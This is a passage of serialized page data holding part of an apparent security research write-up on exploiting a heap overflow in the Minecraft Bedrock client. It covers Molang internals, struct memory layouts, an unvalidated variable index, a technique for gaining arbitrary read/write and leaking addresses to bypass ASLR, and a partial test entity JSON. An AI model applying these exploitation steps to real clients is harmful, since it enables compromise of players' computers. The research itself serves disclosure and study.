",{"type":23,"tag":458,"props":152182,"children":152185},{"href":152183,"rel":152184},"https://learn.microsoft.com/en-us/minecraft/creator/documents/molang/syntax-guide?view=minecraft-bedrock-stable",[462],[152186],{"type":28,"value":152187},"syntax guide",{"type":28,"value":706},{"type":23,"tag":24,"props":152190,"children":152191},{},[152192,152194,152199,152200,152205],{"type":28,"value":152193},"The available base types are simple: numbers are 32-bit floats, and there is a string type for which only the ",{"type":23,"tag":37,"props":152195,"children":152197},{"className":152196},[],[152198],{"type":28,"value":387},{"type":28,"value":1361},{"type":23,"tag":37,"props":152201,"children":152203},{"className":152202},[],[152204],{"type":28,"value":15679},{"type":28,"value":152206}," operators are supported.",{"type":23,"tag":24,"props":152208,"children":152209},{},[152210,152212,152218,152220,152225,152227,152232,152233,152238,152239],{"type":28,"value":152211},"Variables are defined by prepending ",{"type":23,"tag":37,"props":152213,"children":152215},{"className":152214},[],[152216],{"type":28,"value":152217},"variable.",{"type":28,"value":152219}," to the name and assigning a value. For example, to define ",{"type":23,"tag":37,"props":152221,"children":152223},{"className":152222},[],[152224],{"type":28,"value":9079},{"type":28,"value":152226}," as the sum of ",{"type":23,"tag":37,"props":152228,"children":152230},{"className":152229},[],[152231],{"type":28,"value":458},{"type":28,"value":1361},{"type":23,"tag":37,"props":152234,"children":152236},{"className":152235},[],[152237],{"type":28,"value":3222},{"type":28,"value":1418},{"type":23,"tag":37,"props":152240,"children":152242},{"className":152241},[],[152243],{"type":28,"value":152244},"variable.result = variable.a + variable.b;",{"type":23,"tag":24,"props":152246,"children":152247},{},[152248,152250,152255,152256,152261,152262,152267,152268,152273],{"type":28,"value":152249},"Logical operators such as ",{"type":23,"tag":37,"props":152251,"children":152253},{"className":152252},[],[152254],{"type":28,"value":22405},{"type":28,"value":970},{"type":23,"tag":37,"props":152257,"children":152259},{"className":152258},[],[152260],{"type":28,"value":1751},{"type":28,"value":970},{"type":23,"tag":37,"props":152263,"children":152265},{"className":152264},[],[152266],{"type":28,"value":1012},{"type":28,"value":970},{"type":23,"tag":37,"props":152269,"children":152271},{"className":152270},[],[152272],{"type":28,"value":1022},{"type":28,"value":152274},", etc., are supported, and conditional branching is implemented using ternary-style blocks:",{"type":23,"tag":31,"props":152276,"children":152278},{"code":152277},"(variable.result == 3) ? {\n    return 1;\n} : {\n    return 0;\n}\n",[152279],{"type":23,"tag":37,"props":152280,"children":152281},{"__ignoreMap":7},[152282],{"type":28,"value":152277},{"type":23,"tag":24,"props":152284,"children":152285},{},[152286],{"type":28,"value":152287},"As shown, Molang is very simple, but we hoped it would be sufficient as a second-stage payload to achieve client-side arbitrary read and write.",{"type":23,"tag":18881,"props":152289,"children":152291},{"id":152290},"molang-internals",[152292],{"type":28,"value":152293},"Molang Internals",{"type":23,"tag":24,"props":152295,"children":152296},{},[152297],{"type":28,"value":152298},"What interested us most was how variables are handled. Specifically, we wondered whether we could use the overflow to corrupt a variable and then leverage that corrupted variable to perform arbitrary reads - leaking the information needed to bypass ASLR inside the Molang script, and subsequently use those leaks to carry out arbitrary writes.",{"type":23,"tag":24,"props":152300,"children":152301},{},[152302],{"type":28,"value":152303},"Below we describe the structures involved and their memory layout.",{"type":23,"tag":18881,"props":152305,"children":152307},{"id":152306},"molangvariable-and-molangscriptarg",[152308],{"type":28,"value":152309},"MolangVariable and MolangScriptArg",{"type":23,"tag":24,"props":152311,"children":152312},{},[152313,152314,152320],{"type":28,"value":102069},{"type":23,"tag":37,"props":152315,"children":152317},{"className":152316},[],[152318],{"type":28,"value":152319},"MolangVariable",{"type":28,"value":152321}," structure is created for every declared variable. Simplified, it looks something like this:",{"type":23,"tag":31,"props":152323,"children":152325},{"code":152324,"language":3146,"meta":7,"className":16503,"style":7},"struct MolangVariable {\n    \n    struct HashedString {\n        uint64_t variable_name_hash;\n        std::string variable_name;\n    };\n    \n    struct MolangScriptArg {\n        uint32_t value_type;\n        uint64_t value;\n        std::vector\u003Cstruct MolangScriptArg> struct_fields;\n        \n        [...]\n    };\n};\n",[152326],{"type":23,"tag":37,"props":152327,"children":152328},{"__ignoreMap":7},[152329,152341,152348,152360,152373,152381,152388,152395,152407,152420,152432,152462,152470,152477,152484],{"type":23,"tag":41,"props":152330,"children":152331},{"class":43,"line":44},[152332,152336],{"type":23,"tag":41,"props":152333,"children":152334},{"style":64},[152335],{"type":28,"value":9399},{"type":23,"tag":41,"props":152337,"children":152338},{"style":70},[152339],{"type":28,"value":152340}," MolangVariable {\n",{"type":23,"tag":41,"props":152342,"children":152343},{"class":43,"line":54},[152344],{"type":23,"tag":41,"props":152345,"children":152346},{"style":70},[152347],{"type":28,"value":1589},{"type":23,"tag":41,"props":152349,"children":152350},{"class":43,"line":76},[152351,152355],{"type":23,"tag":41,"props":152352,"children":152353},{"style":64},[152354],{"type":28,"value":6050},{"type":23,"tag":41,"props":152356,"children":152357},{"style":70},[152358],{"type":28,"value":152359}," HashedString {\n",{"type":23,"tag":41,"props":152361,"children":152362},{"class":43,"line":85},[152363,152368],{"type":23,"tag":41,"props":152364,"children":152365},{"style":64},[152366],{"type":28,"value":152367},"        uint64_t",{"type":23,"tag":41,"props":152369,"children":152370},{"style":70},[152371],{"type":28,"value":152372}," variable_name_hash;\n",{"type":23,"tag":41,"props":152374,"children":152375},{"class":43,"line":105},[152376],{"type":23,"tag":41,"props":152377,"children":152378},{"style":70},[152379],{"type":28,"value":152380},"        std::string variable_name;\n",{"type":23,"tag":41,"props":152382,"children":152383},{"class":43,"line":155},[152384],{"type":23,"tag":41,"props":152385,"children":152386},{"style":70},[152387],{"type":28,"value":38990},{"type":23,"tag":41,"props":152389,"children":152390},{"class":43,"line":186},[152391],{"type":23,"tag":41,"props":152392,"children":152393},{"style":70},[152394],{"type":28,"value":1589},{"type":23,"tag":41,"props":152396,"children":152397},{"class":43,"line":195},[152398,152402],{"type":23,"tag":41,"props":152399,"children":152400},{"style":64},[152401],{"type":28,"value":6050},{"type":23,"tag":41,"props":152403,"children":152404},{"style":70},[152405],{"type":28,"value":152406}," MolangScriptArg {\n",{"type":23,"tag":41,"props":152408,"children":152409},{"class":43,"line":905},[152410,152415],{"type":23,"tag":41,"props":152411,"children":152412},{"style":64},[152413],{"type":28,"value":152414},"        uint32_t",{"type":23,"tag":41,"props":152416,"children":152417},{"style":70},[152418],{"type":28,"value":152419}," value_type;\n",{"type":23,"tag":41,"props":152421,"children":152422},{"class":43,"line":922},[152423,152427],{"type":23,"tag":41,"props":152424,"children":152425},{"style":64},[152426],{"type":28,"value":152367},{"type":23,"tag":41,"props":152428,"children":152429},{"style":70},[152430],{"type":28,"value":152431}," value;\n",{"type":23,"tag":41,"props":152433,"children":152434},{"class":43,"line":930},[152435,152440,152444,152448,152453,152457],{"type":23,"tag":41,"props":152436,"children":152437},{"style":70},[152438],{"type":28,"value":152439},"        std::vector",{"type":23,"tag":41,"props":152441,"children":152442},{"style":170},[152443],{"type":28,"value":1012},{"type":23,"tag":41,"props":152445,"children":152446},{"style":64},[152447],{"type":28,"value":9399},{"type":23,"tag":41,"props":152449,"children":152450},{"style":70},[152451],{"type":28,"value":152452}," MolangScriptArg",{"type":23,"tag":41,"props":152454,"children":152455},{"style":170},[152456],{"type":28,"value":1022},{"type":23,"tag":41,"props":152458,"children":152459},{"style":70},[152460],{"type":28,"value":152461}," struct_fields;\n",{"type":23,"tag":41,"props":152463,"children":152464},{"class":43,"line":939},[152465],{"type":23,"tag":41,"props":152466,"children":152467},{"style":70},[152468],{"type":28,"value":152469},"        \n",{"type":23,"tag":41,"props":152471,"children":152472},{"class":43,"line":947},[152473],{"type":23,"tag":41,"props":152474,"children":152475},{"style":70},[152476],{"type":28,"value":123757},{"type":23,"tag":41,"props":152478,"children":152479},{"class":43,"line":985},[152480],{"type":23,"tag":41,"props":152481,"children":152482},{"style":70},[152483],{"type":28,"value":38990},{"type":23,"tag":41,"props":152485,"children":152486},{"class":43,"line":1058},[152487],{"type":23,"tag":41,"props":152488,"children":152489},{"style":70},[152490],{"type":28,"value":936},{"type":23,"tag":24,"props":152492,"children":152493},{},[152494,152496,152501],{"type":28,"value":152495},"In memory a ",{"type":23,"tag":37,"props":152497,"children":152499},{"className":152498},[],[152500],{"type":28,"value":152319},{"type":28,"value":152502}," instance resembles:",{"type":23,"tag":31,"props":152504,"children":152506},{"code":152505},"      +---------------+---------------+\n+0x00 |  FNV-1 hash   |std::string.buf|\n      +---------------+---------------+\n+0x10 |std::string.buf|std::string.len|\n      +---------------+---------------+\n+0x20 |std::string.cap|   Unknown     |\n      +-------+-------+---------------+\n+0x30 | Type  |Unused |Variable value |\n      +-------+-------+---------------+\n+0x40 |std::vector.buf|std::vector.len|\n      +---------------+---------------+\n+0x50 |std::vector.cap|   Unknown     |\n      +---------------+---------------+\n      |     . . .     |     . . .     |\n",[152507],{"type":23,"tag":37,"props":152508,"children":152509},{"__ignoreMap":7},[152510],{"type":28,"value":152505},{"type":23,"tag":24,"props":152512,"children":152513},{},[152514],{"type":28,"value":152515},"For reference, example debugger view of the layout:",{"type":23,"tag":24,"props":152517,"children":152518},{},[152519],{"type":23,"tag":3918,"props":152520,"children":152522},{"alt":50573,"src":152521},"/posts/minecraft-heap-overflow-to-rce/image8.png",[],{"type":23,"tag":24,"props":152524,"children":152525},{},[152526],{"type":28,"value":152527},"The full structure is larger and contains more fields than shown, but many are irrelevant to the exploit.",{"type":23,"tag":24,"props":152529,"children":152530},{},[152531,152533,152539,152541,152546,152548,152554,152556,152561,152562,152567,152569,152574,152575,152581,152582,152588],{"type":28,"value":152532},"We only care about the ",{"type":23,"tag":37,"props":152534,"children":152536},{"className":152535},[],[152537],{"type":28,"value":152538},"MolangScriptArg",{"type":28,"value":152540}," beginning at offset ",{"type":23,"tag":37,"props":152542,"children":152544},{"className":152543},[],[152545],{"type":28,"value":128636},{"type":28,"value":152547}," because it contains variable values. In the screenshot above, the ",{"type":23,"tag":37,"props":152549,"children":152551},{"className":152550},[],[152552],{"type":28,"value":152553},"value_type",{"type":28,"value":152555}," at ",{"type":23,"tag":37,"props":152557,"children":152559},{"className":152558},[],[152560],{"type":28,"value":128636},{"type":28,"value":5501},{"type":23,"tag":37,"props":152563,"children":152565},{"className":152564},[],[152566],{"type":28,"value":4024},{"type":28,"value":152568}," (meaning float), and the ",{"type":23,"tag":37,"props":152570,"children":152572},{"className":152571},[],[152573],{"type":28,"value":1652},{"type":28,"value":152555},{"type":23,"tag":37,"props":152576,"children":152578},{"className":152577},[],[152579],{"type":28,"value":152580},"0x38",{"type":28,"value":5501},{"type":23,"tag":37,"props":152583,"children":152585},{"className":152584},[],[152586],{"type":28,"value":152587},"0xbf2070c8",{"type":28,"value":706},{"type":23,"tag":24,"props":152590,"children":152591},{},[152592,152594,152600,152602,152607,152609,152614,152615,152620,152622,152627,152629,152634],{"type":28,"value":152593},"During assignment, such as ",{"type":23,"tag":37,"props":152595,"children":152597},{"className":152596},[],[152598],{"type":28,"value":152599},"variable.a = variable.b",{"type":28,"value":152601},", each field of ",{"type":23,"tag":37,"props":152603,"children":152605},{"className":152604},[],[152606],{"type":28,"value":152538},{"type":28,"value":152608}," is copied from variable ",{"type":23,"tag":37,"props":152610,"children":152612},{"className":152611},[],[152613],{"type":28,"value":3222},{"type":28,"value":56772},{"type":23,"tag":37,"props":152616,"children":152618},{"className":152617},[],[152619],{"type":28,"value":458},{"type":28,"value":152621},". Interestingly, the ",{"type":23,"tag":37,"props":152623,"children":152625},{"className":152624},[],[152626],{"type":28,"value":1652},{"type":28,"value":152628}," field is always copied as a ",{"type":23,"tag":37,"props":152630,"children":152632},{"className":152631},[],[152633],{"type":28,"value":55630},{"type":28,"value":152635}," even if the type is a 32-bit float.",{"type":23,"tag":24,"props":152637,"children":152638},{},[152639,152641,152647],{"type":28,"value":152640},"Each entity stores its variables in a per-entity vector called ",{"type":23,"tag":37,"props":152642,"children":152644},{"className":152643},[],[152645],{"type":28,"value":152646},"MolangVariableMap",{"type":28,"value":706},{"type":23,"tag":18881,"props":152649,"children":152651},{"id":152650},"molangvariablemap",[152652],{"type":28,"value":152646},{"type":23,"tag":24,"props":152654,"children":152655},{},[152656,152661,152663,152669,152671,152677],{"type":23,"tag":37,"props":152657,"children":152659},{"className":152658},[],[152660],{"type":28,"value":152646},{"type":28,"value":152662}," is simply a ",{"type":23,"tag":37,"props":152664,"children":152666},{"className":152665},[],[152667],{"type":28,"value":152668},"std::vector\u003CMolangVariable *>",{"type":28,"value":152670}," contained per entity. To reason about its memory we need to recall MSVC ",{"type":23,"tag":37,"props":152672,"children":152674},{"className":152673},[],[152675],{"type":28,"value":152676},"std::vector",{"type":28,"value":152678}," layout:",{"type":23,"tag":31,"props":152680,"children":152682},{"code":152681,"language":3146,"meta":7,"className":16503,"style":7},"struct vector {\n    void *buf;\n    void *len;\n    void *cap;\n};\n",[152683],{"type":23,"tag":37,"props":152684,"children":152685},{"__ignoreMap":7},[152686,152698,152714,152730,152746],{"type":23,"tag":41,"props":152687,"children":152688},{"class":43,"line":44},[152689,152693],{"type":23,"tag":41,"props":152690,"children":152691},{"style":64},[152692],{"type":28,"value":9399},{"type":23,"tag":41,"props":152694,"children":152695},{"style":70},[152696],{"type":28,"value":152697}," vector {\n",{"type":23,"tag":41,"props":152699,"children":152700},{"class":43,"line":54},[152701,152705,152709],{"type":23,"tag":41,"props":152702,"children":152703},{"style":64},[152704],{"type":28,"value":16536},{"type":23,"tag":41,"props":152706,"children":152707},{"style":170},[152708],{"type":28,"value":9814},{"type":23,"tag":41,"props":152710,"children":152711},{"style":70},[152712],{"type":28,"value":152713},"buf;\n",{"type":23,"tag":41,"props":152715,"children":152716},{"class":43,"line":76},[152717,152721,152725],{"type":23,"tag":41,"props":152718,"children":152719},{"style":64},[152720],{"type":28,"value":16536},{"type":23,"tag":41,"props":152722,"children":152723},{"style":170},[152724],{"type":28,"value":9814},{"type":23,"tag":41,"props":152726,"children":152727},{"style":70},[152728],{"type":28,"value":152729},"len;\n",{"type":23,"tag":41,"props":152731,"children":152732},{"class":43,"line":85},[152733,152737,152741],{"type":23,"tag":41,"props":152734,"children":152735},{"style":64},[152736],{"type":28,"value":16536},{"type":23,"tag":41,"props":152738,"children":152739},{"style":170},[152740],{"type":28,"value":9814},{"type":23,"tag":41,"props":152742,"children":152743},{"style":70},[152744],{"type":28,"value":152745},"cap;\n",{"type":23,"tag":41,"props":152747,"children":152748},{"class":43,"line":105},[152749],{"type":23,"tag":41,"props":152750,"children":152751},{"style":70},[152752],{"type":28,"value":936},{"type":23,"tag":24,"props":152754,"children":152755},{},[152756,152761,152763,152768,152770,152776,152778,152783,152784,152789],{"type":23,"tag":37,"props":152757,"children":152759},{"className":152758},[],[152760],{"type":28,"value":149842},{"type":28,"value":152762}," points to the allocated array of elements, ",{"type":23,"tag":37,"props":152764,"children":152766},{"className":152765},[],[152767],{"type":28,"value":9136},{"type":28,"value":152769}," points just past the last used element, and ",{"type":23,"tag":37,"props":152771,"children":152773},{"className":152772},[],[152774],{"type":28,"value":152775},"cap",{"type":28,"value":152777}," points to the end of the allocated buffer. Notably, the types of ",{"type":23,"tag":37,"props":152779,"children":152781},{"className":152780},[],[152782],{"type":28,"value":9136},{"type":28,"value":1361},{"type":23,"tag":37,"props":152785,"children":152787},{"className":152786},[],[152788],{"type":28,"value":152775},{"type":28,"value":152790}," aren't typical integer types for sizes, but both are pointers.",{"type":23,"tag":24,"props":152792,"children":152793},{},[152794],{"type":28,"value":152795},"Example layout for a vector holding three variable pointers plus one unused slot:",{"type":23,"tag":31,"props":152797,"children":152799},{"code":152798},"+---------+         +--------------------+\n|   buf   +-------> | MolangVariable A*  |\n+---------+         +--------------------+\n|   len   +----+    | MolangVariable B*  |\n+---------+    |    +--------------------+\n|   cap   |    |    | MolangVariable C*  |\n+----+----+    |    +--------------------+\n     |         +--> | Empty element slot |\n     |              +--------------------+\n     |                                   ^\n     +-----------------------------------+\n",[152800],{"type":23,"tag":37,"props":152801,"children":152802},{"__ignoreMap":7},[152803],{"type":28,"value":152798},{"type":23,"tag":24,"props":152805,"children":152806},{},[152807,152809,152815,152817,152823],{"type":28,"value":152808},"Because each entity can create and initialize variables independently, the indices of specific variables (e.g., ",{"type":23,"tag":37,"props":152810,"children":152812},{"className":152811},[],[152813],{"type":28,"value":152814},"variable.result",{"type":28,"value":152816},") may differ between entities. To get around this, ",{"type":23,"tag":37,"props":152818,"children":152820},{"className":152819},[],[152821],{"type":28,"value":152822},"MolangIndexMap",{"type":28,"value":152824}," is used to map a global variable name to the correct per-entity slot.",{"type":23,"tag":18881,"props":152826,"children":152828},{"id":152827},"molangindexmap",[152829],{"type":28,"value":152822},{"type":23,"tag":24,"props":152831,"children":152832},{},[152833,152838,152840,152846,152848,152854],{"type":23,"tag":37,"props":152834,"children":152836},{"className":152835},[],[152837],{"type":28,"value":152822},{"type":28,"value":152839}," is a per-entity ",{"type":23,"tag":37,"props":152841,"children":152843},{"className":152842},[],[152844],{"type":28,"value":152845},"std::vector\u003Cuint16_t>",{"type":28,"value":152847},". The engine maintains a global hashmap that maps variable names to a global index. When the client encounters a statement like ",{"type":23,"tag":37,"props":152849,"children":152851},{"className":152850},[],[152852],{"type":28,"value":152853},"variable.result = 0",{"type":28,"value":152855}," it:",{"type":23,"tag":5436,"props":152857,"children":152858},{},[152859,152869,152879],{"type":23,"tag":421,"props":152860,"children":152861},{},[152862,152864],{"type":28,"value":152863},"Checks the global hashmap for ",{"type":23,"tag":37,"props":152865,"children":152867},{"className":152866},[],[152868],{"type":28,"value":9079},{"type":23,"tag":421,"props":152870,"children":152871},{},[152872,152874],{"type":28,"value":152873},"If found, uses the global index to look up the per-entity index in ",{"type":23,"tag":37,"props":152875,"children":152877},{"className":152876},[],[152878],{"type":28,"value":152822},{"type":23,"tag":421,"props":152880,"children":152881},{},[152882,152884],{"type":28,"value":152883},"If not found, creates a new global entry and assigns it ",{"type":23,"tag":37,"props":152885,"children":152887},{"className":152886},[],[152888],{"type":28,"value":152889},"last_index + 1",{"type":23,"tag":24,"props":152891,"children":152892},{},[152893,152895,152900,152902,152907,152909,152914,152916,152921,152923,152928,152929,152935,152937,152942],{"type":28,"value":152894},"This means the same global index for variable ",{"type":23,"tag":37,"props":152896,"children":152898},{"className":152897},[],[152899],{"type":28,"value":9079},{"type":28,"value":152901}," maps to the same position inside every entity’s ",{"type":23,"tag":37,"props":152903,"children":152905},{"className":152904},[],[152906],{"type":28,"value":152822},{"type":28,"value":152908},", but the actual ",{"type":23,"tag":37,"props":152910,"children":152912},{"className":152911},[],[152913],{"type":28,"value":152319},{"type":28,"value":152915}," for ",{"type":23,"tag":37,"props":152917,"children":152919},{"className":152918},[],[152920],{"type":28,"value":9079},{"type":28,"value":152922}," may live at different slots inside each entity's ",{"type":23,"tag":37,"props":152924,"children":152926},{"className":152925},[],[152927],{"type":28,"value":152646},{"type":28,"value":18520},{"type":23,"tag":37,"props":152930,"children":152932},{"className":152931},[],[152933],{"type":28,"value":152934},"Entity.MolangIndexMap[global_index]",{"type":28,"value":152936}," stores the per-entity index (slot) of variable ",{"type":23,"tag":37,"props":152938,"children":152940},{"className":152939},[],[152941],{"type":28,"value":9079},{"type":28,"value":706},{"type":23,"tag":24,"props":152944,"children":152945},{},[152946,152948,152953,152955,152960,152962,152967,152969,152974,152976,152982,152984,152989],{"type":28,"value":152947},"Importantly, we found that indices in the ",{"type":23,"tag":37,"props":152949,"children":152951},{"className":152950},[],[152952],{"type":28,"value":152822},{"type":28,"value":152954}," are trusted and the client does not validate that a per-entity index actually lies within the bounds of that entity’s ",{"type":23,"tag":37,"props":152956,"children":152958},{"className":152957},[],[152959],{"type":28,"value":152646},{"type":28,"value":152961},". This means that if we overwrite the index of variable ",{"type":23,"tag":37,"props":152963,"children":152965},{"className":152964},[],[152966],{"type":28,"value":9079},{"type":28,"value":152968}," (an example, it can be any variable) with the chunk overlap and make it out-of-bounds for that entity’s ",{"type":23,"tag":37,"props":152970,"children":152972},{"className":152971},[],[152973],{"type":28,"value":152646},{"type":28,"value":152975},", we could read from and write to ",{"type":23,"tag":37,"props":152977,"children":152979},{"className":152978},[],[152980],{"type":28,"value":152981},"address + 0x38",{"type":28,"value":152983}," through ",{"type":23,"tag":37,"props":152985,"children":152987},{"className":152986},[],[152988],{"type":28,"value":152814},{"type":28,"value":706},{"type":23,"tag":546,"props":152991,"children":152993},{"id":152992},"building-a-molang-arbitrary-rw-primitive",[152994],{"type":28,"value":152995},"Building a Molang Arbitrary R/W Primitive",{"type":23,"tag":24,"props":152997,"children":152998},{},[152999,153001,153006,153008,153013],{"type":28,"value":153000},"We needed some pointer inside a heap-sprayable object that we could use to build an arbitrary read/write primitive in Molang. Eventually, we came up with the thought of using internal pointers of ",{"type":23,"tag":37,"props":153002,"children":153004},{"className":153003},[],[153005],{"type":28,"value":152676},{"type":28,"value":153007}," - specifically, of ",{"type":23,"tag":37,"props":153009,"children":153011},{"className":153010},[],[153012],{"type":28,"value":152646},{"type":28,"value":153014}," vector.",{"type":23,"tag":24,"props":153016,"children":153017},{},[153018,153020,153025,153027,153032,153033,153038,153040,153045],{"type":28,"value":153019},"Because every entity object is heap-allocated and contains a ",{"type":23,"tag":37,"props":153021,"children":153023},{"className":153022},[],[153024],{"type":28,"value":152646},{"type":28,"value":153026}," vector, we realised we might be able to overwrite a variable index so it reads the ",{"type":23,"tag":37,"props":153028,"children":153030},{"className":153029},[],[153031],{"type":28,"value":149842},{"type":28,"value":55787},{"type":23,"tag":37,"props":153034,"children":153036},{"className":153035},[],[153037],{"type":28,"value":152646},{"type":28,"value":153039}," vector belonging to an entity object placed just next the ",{"type":23,"tag":37,"props":153041,"children":153043},{"className":153042},[],[153044],{"type":28,"value":152646},{"type":28,"value":153046}," allocated buffer.",{"type":23,"tag":31,"props":153048,"children":153050},{"code":153049},"      +-------------+ \u003C--+                   \n+---> | variable.a  |    |                   \n|     +-------------+    |                   \n|     | variable.b  |    |                   \n|     +-------------+    +- MolangVariableMap allocated buffer\n|     |    . . .    |    |                   \n|     +-------------+    |                   \n|     | variable.f  |    |                   \n|     +-------------+ \u003C--+--+                \n|     |             |       |                \n|     |             |       |                \n|     |             |       |                \n|     |             |       |                \n|     +------+------+       +- Entity Object \n+-----+ buf  | len  |       |                \n      +------+------+       |                \n      | cap  |      |       |                \n      +------+      |       |                \n      +-------------+ \u003C-----+                                       \n",[153051],{"type":23,"tag":37,"props":153052,"children":153053},{"__ignoreMap":7},[153054],{"type":28,"value":153049},{"type":23,"tag":24,"props":153056,"children":153057},{},[153058,153060,153065,153067,153073,153075,153080,153081,153087,153088,153093,153095,153100,153102,153107,153109,153114,153116,153121,153123,153128,153130,153135,153137,153143,153145,153150,153152,153157],{"type":28,"value":153059},"In the scenario above, the ",{"type":23,"tag":37,"props":153061,"children":153063},{"className":153062},[],[153064],{"type":28,"value":152822},{"type":28,"value":153066}," would map ",{"type":23,"tag":37,"props":153068,"children":153070},{"className":153069},[],[153071],{"type":28,"value":153072},"variable.a",{"type":28,"value":153074}," -> index ",{"type":23,"tag":37,"props":153076,"children":153078},{"className":153077},[],[153079],{"type":28,"value":4024},{"type":28,"value":970},{"type":23,"tag":37,"props":153082,"children":153084},{"className":153083},[],[153085],{"type":28,"value":153086},"variable.b",{"type":28,"value":153074},{"type":23,"tag":37,"props":153089,"children":153091},{"className":153090},[],[153092],{"type":28,"value":317},{"type":28,"value":153094},", and so on. If we overwrite the index for ",{"type":23,"tag":37,"props":153096,"children":153098},{"className":153097},[],[153099],{"type":28,"value":153072},{"type":28,"value":153101}," with a value that is out-of-bounds for the ",{"type":23,"tag":37,"props":153103,"children":153105},{"className":153104},[],[153106],{"type":28,"value":152646},{"type":28,"value":153108},", it can instead index the ",{"type":23,"tag":37,"props":153110,"children":153112},{"className":153111},[],[153113],{"type":28,"value":149842},{"type":28,"value":153115}," field of the entity object above. Reading ",{"type":23,"tag":37,"props":153117,"children":153119},{"className":153118},[],[153120],{"type":28,"value":153072},{"type":28,"value":153122}," will then return the pointer stored at offset ",{"type":23,"tag":37,"props":153124,"children":153126},{"className":153125},[],[153127],{"type":28,"value":152580},{"type":28,"value":153129}," from the start of the ",{"type":23,"tag":37,"props":153131,"children":153133},{"className":153132},[],[153134],{"type":28,"value":152646},{"type":28,"value":153136}," (which in this diagram corresponds to ",{"type":23,"tag":37,"props":153138,"children":153140},{"className":153139},[],[153141],{"type":28,"value":153142},"variable.f",{"type":28,"value":153144},"), and writing to ",{"type":23,"tag":37,"props":153146,"children":153148},{"className":153147},[],[153149],{"type":28,"value":153072},{"type":28,"value":153151}," will overwrite that pointer - corrupting ",{"type":23,"tag":37,"props":153153,"children":153155},{"className":153154},[],[153156],{"type":28,"value":153142},{"type":28,"value":706},{"type":23,"tag":24,"props":153159,"children":153160},{},[153161,153163,153168,153169,153175,153177,153182,153184,153190,153192,153197,153199,153204,153206,153212,153214,153220,153222,153227],{"type":28,"value":153162},"To leak the address of the Minecraft executable we could increment ",{"type":23,"tag":37,"props":153164,"children":153166},{"className":153165},[],[153167],{"type":28,"value":153072},{"type":28,"value":142},{"type":23,"tag":37,"props":153170,"children":153172},{"className":153171},[],[153173],{"type":28,"value":153174},"variable.a += 8",{"type":28,"value":153176},"), which advances the pointer used for ",{"type":23,"tag":37,"props":153178,"children":153180},{"className":153179},[],[153181],{"type":28,"value":153142},{"type":28,"value":153183}," by 8 bytes. The Molang script would repeat this until it finds a vtable pointer in the heap. At that point we can write arbitrary values into writable regions of the Minecraft process by setting ",{"type":23,"tag":37,"props":153185,"children":153187},{"className":153186},[],[153188],{"type":28,"value":153189},"variable.a = variable.exe_leak + \u003Coffset>",{"type":28,"value":153191}," - this updates the ",{"type":23,"tag":37,"props":153193,"children":153195},{"className":153194},[],[153196],{"type":28,"value":153142},{"type":28,"value":153198}," pointer to our chosen address, and writing to ",{"type":23,"tag":37,"props":153200,"children":153202},{"className":153201},[],[153203],{"type":28,"value":153142},{"type":28,"value":153205},", for example ",{"type":23,"tag":37,"props":153207,"children":153209},{"className":153208},[],[153210],{"type":28,"value":153211},"variable.f = 1337",{"type":28,"value":153213},", writes the value ",{"type":23,"tag":37,"props":153215,"children":153217},{"className":153216},[],[153218],{"type":28,"value":153219},"1337",{"type":28,"value":153221}," to offset ",{"type":23,"tag":37,"props":153223,"children":153225},{"className":153224},[],[153226],{"type":28,"value":152580},{"type":28,"value":153228}," from that calculated address.",{"type":23,"tag":18881,"props":153230,"children":153232},{"id":153231},"testing-the-idea",[153233],{"type":28,"value":153234},"Testing the Idea",{"type":23,"tag":24,"props":153236,"children":153237},{},[153238,153240,153245,153247,153252,153254,153259],{"type":28,"value":153239},"We tested the idea by manually adding a pointer to the start of ",{"type":23,"tag":37,"props":153241,"children":153243},{"className":153242},[],[153244],{"type":28,"value":152646},{"type":28,"value":153246}," and modifying the index of a variable so that it indexed this out-of-bounds pointer. It ",{"type":23,"tag":2913,"props":153248,"children":153249},{},[153250],{"type":28,"value":153251},"almost",{"type":28,"value":153253}," worked - below is the state of the ",{"type":23,"tag":37,"props":153255,"children":153257},{"className":153256},[],[153258],{"type":28,"value":152646},{"type":28,"value":153260},"'s allocated buffer before the Molang script executes:",{"type":23,"tag":24,"props":153262,"children":153263},{},[153264],{"type":23,"tag":3918,"props":153265,"children":153267},{"alt":50573,"src":153266},"/posts/minecraft-heap-overflow-to-rce/image9.png",[],{"type":23,"tag":24,"props":153269,"children":153270},{},[153271],{"type":28,"value":153272},"And this is after execution:",{"type":23,"tag":24,"props":153274,"children":153275},{},[153276],{"type":23,"tag":3918,"props":153277,"children":153279},{"alt":50573,"src":153278},"/posts/minecraft-heap-overflow-to-rce/image10.png",[],{"type":23,"tag":24,"props":153281,"children":153282},{},[153283],{"type":28,"value":153284},"For reference, this is what the relevant entity json file containing our Molang looks like:",{"type":23,"tag":31,"props":153286,"children":153288},{"code":153287,"language":33991,"meta":7,"className":33989,"style":7},"{\n  \"format_version\": \"1.10.0\",\n  \"minecraft:client_entity\": {\n    \"description\": {\n      \"identifier\": \"minecraft:leash_knot\",\n\n      [...]\n        \n      \"scripts\": {\n        \"initialize\": [\n          \"variable.a = 0;\",\n          \"variable.b = 0;\",\n          \"variable.c = 0;\",\n          [...]\n        ],\n        \"pre_animation\": [\n          \"variable.a = 2.310732e-27;\"\n        ]\n      },\n    }\n  }\n}\n",[153289],{"type":23,"tag":37,"props":153290,"children":153291},{"__ignoreMap":7},[153292,153299,153320,153332,153344,153365,153372,153379,153386,153398,153411,153423,153435,153447,153463,153470,153482,153490,153498,153505,153512,153519],{"type":23,"tag":41,"props":153293,"children":153294},{"class":43,"line":44},[153295],{"type":23,"tag":41,"props":153296,"children":153297},{"style":70},[153298],{"type":28,"value":1559},{"type":23,"tag":41,"props":153300,"children":153301},{"class":43,"line":54},[153302,153307,153311,153316],{"type":23,"tag":41,"props":153303,"children":153304},{"style":858},[153305],{"type":28,"value":153306},"  \"format_version\"",{"type":23,"tag":41,"props":153308,"children":153309},{"style":70},[153310],{"type":28,"value":1418},{"type":23,"tag":41,"props":153312,"children":153313},{"style":735},[153314],{"type":28,"value":153315},"\"1.10.0\"",{"type":23,"tag":41,"props":153317,"children":153318},{"style":70},[153319],{"type":28,"value":3506},{"type":23,"tag":41,"props":153321,"children":153322},{"class":43,"line":76},[153323,153328],{"type":23,"tag":41,"props":153324,"children":153325},{"style":858},[153326],{"type":28,"value":153327},"  \"minecraft:client_entity\"",{"type":23,"tag":41,"props":153329,"children":153330},{"style":70},[153331],{"type":28,"value":37017},{"type":23,"tag":41,"props":153333,"children":153334},{"class":43,"line":85},[153335,153340],{"type":23,"tag":41,"props":153336,"children":153337},{"style":858},[153338],{"type":28,"value":153339},"    